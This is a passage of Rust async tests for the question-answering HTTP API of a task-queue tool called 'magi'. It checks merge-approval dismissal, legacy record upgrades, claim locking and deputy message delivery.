12660            task.status = if owner == "completed" {
12661                TaskStatus::Done
12662            } else {
12663                TaskStatus::Parked
12664            };
12665            if owner == "later" {
12666                task.runs.push("later-run".into());
12667            }
12668            if owner != "missing" {
12669                fx.queue().put(&mut task).unwrap();
12670            }
12671            let ui = Arc::new(Ui::new(
12672                fx.queue(),
12673                fx.questions(),
12674                fx.talks(),
12675                fx.runs(),
12676                fx.home.path().into(),
12677                state.repo.clone(),
12678            ));
12679            let response = question_answer(
12680                State(ui),
12681                Path(q.id.clone()),
12682                Ok(Json(NewAnswer {
12683                    choice: Some(crate::merge_decision::DISMISS.into()),
12684                    text: None,
12685                    ..Default::default()
12686                })),
12687            )
12688            .await
12689            .unwrap();
12690            assert_eq!(
12691                response.0.question.resolution().as_deref(),
12692                Some(crate::merge_decision::DISMISS)
12693            );
12694            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12695            assert_eq!(disk.status, RunStatus::Superseded);
12696            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12697            assert!(!crate::merge_decision::resumable_hold(&disk));
12698            assert_eq!(
12699                serde_json::to_value(&disk.pr).unwrap(),
12700                serde_json::to_value(&stale.pr).unwrap()
12701            );
12702            assert_eq!(fx.questions().count_open(), 0);
12703            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12704            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12705            if owner == "missing" {
12706                assert!(fx.queue().list().is_empty());
12707            } else {
12708                let after = fx.queue().get(&task.id).unwrap();
12709                assert_eq!(
12710                    after.status,
12711                    if owner == "current" {
12712                        TaskStatus::Done
12713                    } else {
12714                        task.status
12715                    }
12716                );
12717                assert_eq!(after.runs, task.runs);
12718                assert_eq!(after.instruction, task.instruction);
12719                assert_eq!(after.action_applied(&q.id), owner == "current");
12720            }
12721        }
12722    }
12723
12724    #[tokio::test]
12725    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12726        let fx = Fixture::start().await;
12727        let mut state = obsolete_approval_state();
12728        state.status = RunStatus::Landing;
12729        state.parked = true;
12730        state.driver_exited = true;
12731        let mut q = Question::new(
12732            state.id.clone(),
12733            crate::land::APPROVAL_NODE.into(),
12734            "land".into(),
12735            "Superseded PR approval".into(),
12736            "Original review evidence".into(),
12737            vec!["merge".into(), "hold".into()],
12738        );
12739        state.land_approval = Some(crate::run::LandApproval {
12740            question: q.id.clone(),
12741            head: "old-reviewed-head".into(),
12742        });
12743        // The old persisted PR may still say open even when a separate change
12744        // already landed. Dismissal must not use that snapshot to close it.
12745        state.save_under(fx.home.path()).unwrap();
12746        let stale_driver = state.clone();
12747        fx.questions().put(&mut q).unwrap();
12748        let path = fx
12749            .home
12750            .path()
12751            .join("questions")
12752            .join(format!("{}.json", q.id));
12753        let mut legacy = serde_json::to_value(&q).unwrap();
12754        legacy["schema"] = 9.into();
12755        legacy.as_object_mut().unwrap().remove("merge_target");
12756        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12757
12758        // POST without GET tests legacy upgrade and validation at the actual
12759        // entry point, rather than constructing a modern card in the test.
12760        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12761        let answer_path = format!("/api/questions/{}/answer", q.id);
12762        let res = fx.post(&answer_path, Some(&body)).await;
12763        assert_eq!(res.status, 200, "{}", res.body);
12764        let disk = fx.questions().get(&q.id).unwrap();
12765        assert_eq!(
12766            disk.resolution().as_deref(),
12767            Some(crate::merge_decision::DISMISS)
12768        );
12769        assert!(disk.detail.starts_with("Original review evidence"));
12770        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12771        assert_eq!(retired.status, RunStatus::Superseded);
12772        assert_eq!(
12773            serde_json::to_value(&retired.pr).unwrap(),
12774            serde_json::to_value(&state.pr).unwrap()
12775        );
12776        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12777        assert!(!crate::merge_decision::resumable_hold(&retired));
12778        assert!(fx.queue().list().is_empty());
12779        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12780        // A restarted server re-reads the persisted pending list.
12781        let addr = Fixture::serve(
12782            fx.home.path(),
12783            PathBuf::from("/repo/magi"),
12784            launch_idle,
12785            None,
12786        )
12787        .await;
12788        let reconnected = Fixture {
12789            home: fx.home,
12790            addr,
12791        };
12792        let listed = reconnected.get("/api/questions").await.json();
12793        assert!(
12794            listed
12795                .as_array()
12796                .unwrap()
12797                .iter()
12798                .all(|q| q["status"] != "open")
12799        );
12800        assert_eq!(listed[0]["id"], q.id, "history remains available");
12801        assert_eq!(
12802            reconnected.get("/api/health").await.json()["questions_open"],
12803            0
12804        );
12805        assert_eq!(
12806            reconnected
12807                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12808                .await
12809                .status,
12810            409
12811        );
12812        // A late waiter cannot turn the old answer into a new decision.
12813        assert!(
12814            reconnected
12815                .questions()
12816                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12817                .is_err()
12818        );
12819        // The same guard used by claims, repair and publication rejects a
12820        // saved in-memory driver as well as the persisted terminal record.
12821        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12822    }
12823
12824    #[tokio::test]
12825    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12826        let fx = Fixture::start().await;
12827        let mut state = obsolete_approval_state();
12828        state.status = RunStatus::Landing;
12829        state.driver_exited = true;
12830        let mut q = Question::new(
12831            state.id.clone(),
12832            crate::land::APPROVAL_NODE.into(),
12833            "land".into(),
12834            "Obsolete approval".into(),
12835            String::new(),
12836            vec!["merge".into(), "hold".into()],
12837        );
12838        state.land_approval = Some(crate::run::LandApproval {
12839            question: q.id.clone(),
12840            head: "head".into(),
12841        });
12842        state.save_under(fx.home.path()).unwrap();
12843        fx.questions().put(&mut q).unwrap();
12844        let mut task = Task::new(
12845            "Owner".into(),
12846            "Original instruction".into(),
12847            state.repo.clone(),
12848            Source::Human,
12849        );
12850        task.runs = vec![state.id.clone(), "later-run".into()];
12851        fx.queue().put(&mut task).unwrap();
12852        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12853        let claim = fx.queue().claim(&task.id).unwrap();
12854        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12855        let path = format!("/api/questions/{}/answer", q.id);
12856        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12857        assert!(fx.questions().get(&q.id).unwrap().status.open());
12858        drop(claim);
12859        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12860        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12861        assert!(fx.questions().get(&q.id).unwrap().status.open());
12862        drop(publication);
12863        // Unknown liveness and armed auto-merge both fail without settling.
12864        state.driver_exited = false;
12865        state.driver_pid = None;
12866        state.driver_claimed = None; // No durable proof of an unstarted execution.
12867        state.save_under(fx.home.path()).unwrap();
12868        assert_eq!(
12869            state.liveness_under(fx.home.path(), false),
12870            crate::run::Liveness::Unknown
12871        );
12872
12873        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12874        state.driver_exited = true;
12875        state.land_armed_head = Some("head".into());
12876        state.save_under(fx.home.path()).unwrap();
12877        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12878        state.land_armed_head = None;
12879        state.save_under(fx.home.path()).unwrap();
12880        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12881        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12882        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12883    }
12884
12885    #[tokio::test]
12886    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12887        let fx = Fixture::start().await;
12888        let mut state = obsolete_approval_state();
12889        state.status = RunStatus::Landing;
12890        state.driver_exited = true;
12891        let mut q = Question::new(
12892            state.id.clone(),
12893            crate::land::APPROVAL_NODE.into(),
12894            "land".into(),
12895            "Obsolete approval".into(),
12896            String::new(),
12897            vec!["merge".into(), "hold".into()],
12898        );
12899        state.land_approval = Some(crate::run::LandApproval {
12900            question: q.id.clone(),
12901            head: "head".into(),
12902        });
12903        state.save_under(fx.home.path()).unwrap();
12904        fx.questions().put(&mut q).unwrap();
12905        let mut task = Task::new(
12906            "Owner".into(),
12907            "Original instruction".into(),
12908            state.repo.clone(),
12909            Source::Human,
12910        );
12911        task.runs.push(state.id.clone());
12912        task.status = TaskStatus::Parked;
12913        fx.queue().put(&mut task).unwrap();
12914        // Model a crash after the run stop was persisted but before the queue
12915        // and answered question were flushed. Retrying must finish, not resume.
12916        state.merge_decision = Some(crate::merge_decision::Decision {
12917            question: q.id.clone(),
12918            target: crate::merge_decision::Target {
12919                pr: state.pr.as_ref().unwrap().url.clone(),
12920                head: "head".into(),
12921                language: "ja".into(),
12922            },
12923            choice: crate::merge_decision::DISMISS.into(),
12924            closed: false,
12925            replacement_run: None,
12926            replacement_pr: None,
12927        });
12928        state.status = RunStatus::Superseded;
12929        state.save_under(fx.home.path()).unwrap();
12930        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12931        let path = format!("/api/questions/{}/answer", q.id);
12932        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12933        let done = fx.queue().get(&task.id).unwrap();
12934        assert_eq!(done.status, TaskStatus::Done);
12935        assert_eq!(done.runs, task.runs);
12936        assert_eq!(done.instruction, task.instruction);
12937        assert!(done.action_applied(&q.id));
12938        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12939        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12940        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12941    }
12942
12943    #[tokio::test]
12944    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12945        let home = TempDir::new().unwrap();
12946        let ui = Arc::new(Ui::new(
12947            Queue::at(home.path().join("queue")),
12948            Questions::at(home.path().join("questions")),
12949            Talks::at(home.path().join("talks")),
12950            home.path().join("runs"),
12951            home.path().to_owned(),
12952            home.path().to_owned(),
12953        ));
12954        let talks = &ui.talks;
12955        let chat =
12956            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12957        let mut q = Question::new(
12958            "run".into(),
12959            crate::land::APPROVAL_NODE.into(),
12960            "land".into(),
12961            "Merge?".into(),
12962            String::new(),
12963            vec!["merge".into(), "hold".into()],
12964        );
12965        q.routed_task = Some("task".into());
12966        q.routed_chat = Some(chat.id.clone());
12967        q.merge_target = Some(crate::merge_decision::Target {
12968            pr: "https://example.test/pull/1".into(),
12969            head: "head-a".into(),
12970            language: "en".into(),
12971        });
12972        ui.questions.put(&mut q).unwrap();
12973        let send = |body| {
12974            question_answer(
12975                State(ui.clone()),
12976                Path(q.id.clone()),
12977                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12978            )
12979        };
12980        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12981        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12982        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12983        assert!(send(wrong_chat).await.is_err());
12984        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12985        assert!(send(stale).await.is_err());
12986        assert!(ui.questions.get(&q.id).unwrap().status.open());
12987        assert!(send(button.clone()).await.is_ok());
12988        assert_eq!(
12989            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12990            Some("merge")
12991        );
12992        assert!(send(button).await.is_err());
12993    }
12994
12995    #[tokio::test]
12996    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12997        let home = TempDir::new().unwrap();
12998        let ui = Arc::new(Ui::new(
12999            Queue::at(home.path().join("queue")),
13000            Questions::at(home.path().join("questions")),
13001            Talks::at(home.path().join("talks")),
13002            home.path().join("runs"),
13003            home.path().to_owned(),
13004            home.path().to_owned(),
13005        ));
13006        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13007            let mut q = Question::new(
13008                "run".into(),
13009                crate::land::APPROVAL_NODE.into(),
13010                "land".into(),
13011                "Merge?".into(),
13012                String::new(),
13013                vec!["merge".into(), choice.into()],
13014            );
13015            q.routed_task = Some("task".into());
13016            q.merge_target = Some(crate::merge_decision::Target {
13017                pr: "https://example.test/pull/1".into(),
13018                head: "head-a".into(),
13019                language: "en".into(),
13020            });
13021            ui.questions.put(&mut q).unwrap();
13022            let answer = |c: &str| {
13023                question_answer(
13024                    State(ui.clone()),
13025                    Path(q.id.clone()),
13026                    Ok(Json(
13027                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13028                            .unwrap(),
13029                    )),
13030                )
13031            };
13032            let _ = answer(choice).await.unwrap();
13033            assert_eq!(
13034                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13035                Some(choice)
13036            );
13037        }
13038    }
13039
13040    #[tokio::test]
13041    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13042        let home = TempDir::new().unwrap();
13043        let ui = Arc::new(Ui::new(
13044            Queue::at(home.path().join("queue")),
13045            Questions::at(home.path().join("questions")),
13046            Talks::at(home.path().join("talks")),
13047            home.path().join("runs"),
13048            home.path().to_owned(),
13049            home.path().to_owned(),
13050        ));
13051        let mut q = Question::new(
13052            "run".into(),
13053            crate::github_text::ASK_NODE.into(),
13054            "posting-gate".into(),
13055            "Post?".into(),
13056            String::new(),
13057            vec!["use fallback".into()],
13058        );
13059        q.routed_task = Some("task".into());
13060        ui.questions.put(&mut q).unwrap();
13061        let sent = question_answer(
13062            State(ui.clone()),
13063            Path(q.id.clone()),
13064            Ok(Json(
13065                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13066                    .unwrap(),
13067            )),
13068        )
13069        .await;
13070        let _ = sent.unwrap();
13071        assert_eq!(
13072            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13073            Some("use fallback")
13074        );
13075    }
13076
13077    #[tokio::test]
13078    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13079        let fx = Fixture {
13080            home: TempDir::new().unwrap(),
13081            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13082        };
13083        for choice in [
13084            crate::land::HOLD,
13085            crate::land::REPAIR,
13086            crate::land::APPROVE,
13087            crate::merge_decision::WITHDRAW,
13088            "reimplement:beta",
13089        ] {
13090            let mut q = Question::new(
13091                "old-run".into(),
13092                crate::land::APPROVAL_NODE.into(),
13093                "land".into(),
13094                "Decision".into(),
13095                "Review findings".into(),
13096                vec![
13097                    "merge".into(),
13098                    "hold".into(),
13099                    crate::land::REPAIR.into(),
13100                    crate::merge_decision::WITHDRAW.into(),
13101                    "reimplement:beta".into(),
13102                ],
13103            );
13104            q.merge_target = Some(crate::merge_decision::Target {
13105                pr: "https://github.com/example/repo/pull/42".into(),
13106                head: "exact-reviewed-head".into(),
13107                language: "ja".into(),
13108            });
13109            q.consult = Some(ask::ChatConsult {
13110                talk: "another-conversation".into(),
13111                at: jiff::Timestamp::now(),
13112            });
13113            fx.questions().put(&mut q).unwrap();
13114            let ui = Arc::new(Ui::new(
13115                fx.queue(),
13116                fx.questions(),
13117                fx.talks(),
13118                fx.runs(),
13119                fx.home.path().into(),
13120                std::path::PathBuf::from("."),
13121            ));
13122            let response = question_answer(
13123                State(ui.clone()),
13124                Path(q.id.clone()),
13125                Ok(Json(NewAnswer {
13126                    choice: Some(choice.into()),
13127                    text: None,
13128                    ..Default::default()
13129                })),
13130            )
13131            .await
13132            .unwrap();
13133            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13134            let disk = fx.questions().get(&q.id).unwrap();
13135            assert_eq!(disk.merge_target, q.merge_target);
13136            assert_eq!(disk.consult, q.consult);
13137            assert_eq!(disk.resolution().as_deref(), Some(choice));
13138            assert!(
13139                question_answer(
13140                    State(ui),
13141                    Path(q.id.clone()),
13142                    Ok(Json(NewAnswer {
13143                        choice: Some("merge".into()),
13144                        text: None,
13145                        ..Default::default()
13146                    }))
13147                )
13148                .await
13149                .is_err(),
13150                "an already settled decision cannot turn into merge approval"
13151            );
13152        }
13153    }
13154
13155    #[tokio::test]
13156    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13157        let fx = Fixture {
13158            home: TempDir::new().unwrap(),
13159            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13160        };
13161        let mut state = crate::land::tests::repair_state(true, true);
13162        state.status = RunStatus::Landing;
13163        state.parked = true;
13164        state.driver_exited = true;
13165        let mut task = Task::new(
13166            "Existing PR owner".into(),
13167            state.instruction.clone(),
13168            state.repo.clone(),
13169            Source::Human,
13170        );
13171        task.runs.push(state.id.clone());
13172        task.status = TaskStatus::Parked;
13173        fx.queue().put(&mut task).unwrap();
13174        let mut q = Question::new(
13175            state.id.clone(),
13176            crate::land::APPROVAL_NODE.into(),
13177            "land".into(),
13178            "Contested merge".into(),
13179            "Original evidence".into(),
13180            vec!["merge".into(), "hold".into()],
13181        );
13182        state.land_approval = Some(crate::run::LandApproval {
13183            question: q.id.clone(),
13184            head: "reviewed-head".into(),
13185        });
13186        state.save_under(fx.home.path()).unwrap();
13187        fx.questions().put(&mut q).unwrap();
13188        // A later repair answer on this old card supersedes this manual hold.
13189        task.hold_manual(Some("Pause this PR".into()));
13190        fx.queue().put(&mut task).unwrap();
13191        // POST directly, without a preceding GET: validation must see the
13192        // same durable upgrade that the card, CLI and chat see.
13193        let ui = Arc::new(Ui::new(
13194            fx.queue(),
13195            fx.questions(),
13196            fx.talks(),
13197            fx.runs(),
13198            fx.home.path().to_path_buf(),
13199            state.repo.clone(),
13200        ));
13201        let response = question_answer(
13202            State(ui),
13203            Path(q.id.clone()),
13204            Ok(Json(NewAnswer {
13205                choice: Some(crate::land::REPAIR.into()),
13206                text: None,
13207                ..Default::default()
13208            })),
13209        )
13210        .await
13211        .unwrap();
13212        assert_eq!(response.0.question.id, q.id);
13213        let upgraded = fx.questions().get(&q.id).unwrap();
13214        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13215        assert!(upgraded.detail.starts_with("Original evidence"));
13216        let claim = fx.queue().claim(&task.id).unwrap();
13217        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13218        assert!(
13219            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13220            "an existing driver keeps its claim"
13221        );
13222        drop(claim);
13223        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13224        let resumed = fx.queue().get(&task.id).unwrap();
13225        assert_eq!(
13226            resumed
13227                .resume_override
13228                .as_ref()
13229                .unwrap()
13230                .pinned_run
13231                .as_deref(),
13232            Some(state.id.as_str())
13233        );
13234        assert!(resumed.status.runnable());
13235        assert_eq!(resumed.instruction, task.instruction);
13236        assert_eq!(resumed.runs, task.runs);
13237        assert!(resumed.action_applied(&q.id));
13238        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13239        assert_eq!(fx.queue().list().len(), 1);
13240        assert_eq!(
13241            fx.queue().get(&task.id).unwrap().resume_override,
13242            resumed.resume_override
13243        );
13244        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13245        assert!(
13246            disk.merge_repairs.is_empty(),
13247            "only the claimed run driver may execute repair"
13248        );
13249        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13250    }
13251
13252    #[tokio::test]
13253    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13254        let fx = Fixture::start().await;
13255        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13256        let path = format!("/api/questions/{id}/answer");
13257
13258        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13259        assert_eq!(res.status, 200, "{}", res.body);
13260        let body = res.json();
13261        assert_eq!(body["status"], "answered");
13262        assert_eq!(body["answer"]["choice"], "Redis");
13263
13264        // Answered from the terminal in between the list and the tap: the UI
13265        // must be able to tell this from a bad request, so it can show the
13266        // recorded answer instead of an error.
13267        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13268        assert_eq!(again.status, 409, "{}", again.body);
13269        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13270    }
13271
13272    #[tokio::test]
13273    async fn fresh_api_answers_survive_task_inquiry_migration() {
13274        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13275        for migrate_first in [false, true] {
13276            let fx = Fixture::start().await;
13277            let mut task = Task::new(
13278                "work".into(),
13279                "work".into(),
13280                PathBuf::from("/repo/magi"),
13281                Source::Human,
13282            );
13283            task.runs.push("run-a".into());
13284            fx.queue().put(&mut task).unwrap();
13285            let mut q = Question::new(
13286                "run-a".into(),
13287                "implement".into(),
13288                "impl-A".into(),
13289                "Keep held?".into(),
13290                String::new(),
13291                vec!["hold".into()],
13292            );
13293            q.actions.insert("hold".into(), ChoiceAction::Hold);
13294            fx.questions().put(&mut q).unwrap();
13295            if migrate_first {
13296                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13297            }
13298            let response = fx
13299                .post(
13300                    &format!("/api/questions/{}/answer", q.id),
13301                    Some(r#"{"choice":"hold"}"#),
13302                )
13303                .await;
13304            assert_eq!(response.status, 200, "{}", response.body);
13305            for _ in 0..2 {
13306                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13307                let source = fx.questions().get(&q.id).unwrap();
13308                assert_eq!(source.resolution().as_deref(), Some("hold"));
13309                let decision = Outbox::at(fx.home.path())
13310                    .get(&q.id)
13311                    .unwrap()
13312                    .decision
13313                    .unwrap();
13314                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13315                assert_eq!(decision.source_answer_at, source.answered_at);
13316                assert_eq!(decision.status, Status::Queued);
13317            }
13318            assert_eq!(
13319                fx.post(
13320                    &format!("/api/questions/{}/answer", q.id),
13321                    Some(r#"{"choice":"hold"}"#)
13322                )
13323                .await
13324                .status,
13325                409
13326            );
13327        }
13328    }
13329
13330    #[tokio::test]
13331    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13332        let home = tempfile::tempdir().unwrap();
13333        let ui = delta_test_ui(home.path());
13334        let mut q = Question::new(
13335            "task".into(),
13336            crate::land::APPROVAL_NODE.into(),
13337            "land".into(),
13338            "Explain?".into(),
13339            String::new(),
13340            vec!["hold".into()],
13341        );
13342        q.deputy = Some(ask::Deputy::new("context".into()));
13343        ui.questions.put(&mut q).unwrap();
13344        let mut cfg = stub_config();
13345        cfg.daemon.max_deputies = 0;
13346        let mut status = crate::daemon::Status::new();
13347        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13348        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13349        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13350        let error = question_say(
13351            State(ui.clone()),
13352            Path(q.id.clone()),
13353            Ok(Json(NewSay {
13354                body: "Explain the findings".into(),
13355            })),
13356        )
13357        .await
13358        .unwrap_err();
13359        assert_eq!(
13360            error.text_reason,
13361            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13362        );
13363        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13364
13365        let mut text = Question::new(
13366            "task".into(),
13367            "ask".into(),
13368            "operator".into(),
13369            "Which name?".into(),
13370            String::new(),
13371            vec![],
13372        );
13373        ui.questions.put(&mut text).unwrap();
13374        let Json(view) = question_answer(
13375            State(ui.clone()),
13376            Path(text.id.clone()),
13377            Ok(Json(NewAnswer {
13378                choice: None,
13379                text: Some("chosen name".into()),
13380                ..Default::default()
13381            })),
13382        )
13383        .await
13384        .unwrap();
13385        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13386        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13387    }
13388
13389    #[tokio::test]
13390    async fn question_text_handler_admission_without_transport() {
13391        let home = tempfile::tempdir().unwrap();
13392        let ui = delta_test_ui(home.path());
13393        let mut q = Question::new(
13394            "task".into(),
13395            crate::land::APPROVAL_NODE.into(),
13396            "land".into(),
13397            "May this PR merge?".into(),
13398            String::new(),
13399            vec!["hold".into()],
13400        );
13401        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13402        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13403        ui.questions.put(&mut q).unwrap();
13404        let say = || {
13405            Ok(Json(NewSay {
13406                body: "Explain the findings".into(),
13407            }))
13408        };
13409        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13410            .await
13411            .unwrap_err();
13412        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13413        let response = rejected.into_response();
13414        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13415            .await
13416            .unwrap();
13417        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13418        assert_eq!(body["code"], "question_text_unavailable");
13419        assert_eq!(body["reason"], "deputy_exhausted");
13420        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13421        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13422        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13423        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13424            .await
13425            .unwrap();
13426        assert_eq!(view.text_delivery.state, "live");
13427        assert!(view.question.waiter.is_none());
13428        assert!(view.question.cwd.is_none());
13429        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13430        ui.questions.drop_lease(&q.id);
13431        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13432            .await
13433            .unwrap_err();
13434        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13435        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13436        let _ = question_answer(
13437            State(ui.clone()),
13438            Path(q.id.clone()),
13439            Ok(Json(NewAnswer {
13440                choice: Some("hold".into()),
13441                text: None,
13442                ..Default::default()
13443            })),
13444        )
13445        .await
13446        .unwrap();
13447        assert_eq!(
13448            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13449            Some("hold")
13450        );
13451    }
13452
13453    #[tokio::test]
13454    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13455        let fx = Fixture::start().await;
13456        let store = fx.questions();
13457        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13458        store
13459            .update(&id, |q| {
13460                q.node = crate::land::APPROVAL_NODE.to_owned();
13461                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13462                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13463                Ok(())
13464            })
13465            .unwrap();
13466        let path = format!("/api/questions/{id}/say");
13467        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13468        assert_eq!(refused.status, 422, "{}", refused.body);
13469        assert!(
13470            refused.json()["error"]
13471                .as_str()
13472                .unwrap()
13473                .contains("deputy_exhausted")
13474        );
13475        assert!(store.get(&id).unwrap().thread.is_empty());
13476
13477        // A final live deputy is usable even with no ordinary waiter/cwd.
13478        store.beat(&id, ask::WaiterKind::Deputy);
13479        let view = fx.get("/api/questions").await.json();
13480        assert_eq!(view[0]["text_delivery"]["state"], "live");
13481        let accepted = fx
13482            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13483            .await;
13484        assert_eq!(accepted.status, 200, "{}", accepted.body);
13485        let before = std::fs::read(store.path_of(&id)).unwrap();
13486
13487        // The recipient exits between rendering and sending. Rejection must
13488        // preserve previously accepted text, the answer and delivery cursor.
13489        store.drop_lease(&id);
13490        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13491        assert_eq!(refused.status, 422, "{}", refused.body);
13492        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13493        let held = fx
13494            .post(
13495                &format!("/api/questions/{id}/answer"),
13496                Some(r#"{"choice":"hold"}"#),
13497            )
13498            .await;
13499        assert_eq!(held.status, 200, "{}", held.body);
13500        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13501    }
13502
13503    #[tokio::test]
13504    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13505        let repo = tempfile::tempdir().unwrap();
13506        let mut cfg = stub_config();
13507        cfg.daemon.max_deputies = 0;
13508        std::fs::write(
13509            repo.path().join("magi.toml"),
13510            toml::to_string(&cfg).unwrap(),
13511        )
13512        .unwrap();
13513        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13514        let mut status = crate::daemon::Status::new();
13515        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13516        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13517        let id = ask(&fx, "Explain?", &["hold"]);
13518        fx.questions()
13519            .update(&id, |q| {
13520                q.node = crate::land::APPROVAL_NODE.into();
13521                q.deputy = Some(ask::Deputy::new("context".into()));
13522                q.deputy.as_mut().unwrap().agent = "stub".into();
13523                Ok(())
13524            })
13525            .unwrap();
13526        cfg.daemon.max_deputies = 1;
13527        std::fs::write(
13528            repo.path().join("magi.toml"),
13529            toml::to_string(&cfg).unwrap(),
13530        )
13531        .unwrap();
13532        let view = fx.get("/api/questions").await.json();
13533        assert_eq!(view[0]["deputies_enabled"], true);
13534        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13535        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13536        let res = fx
13537            .post(
13538                &format!("/api/questions/{id}/say"),
13539                Some(r#"{"body":"Please explain"}"#),
13540            )
13541            .await;
13542        assert_eq!(res.status, 422, "{}", res.body);
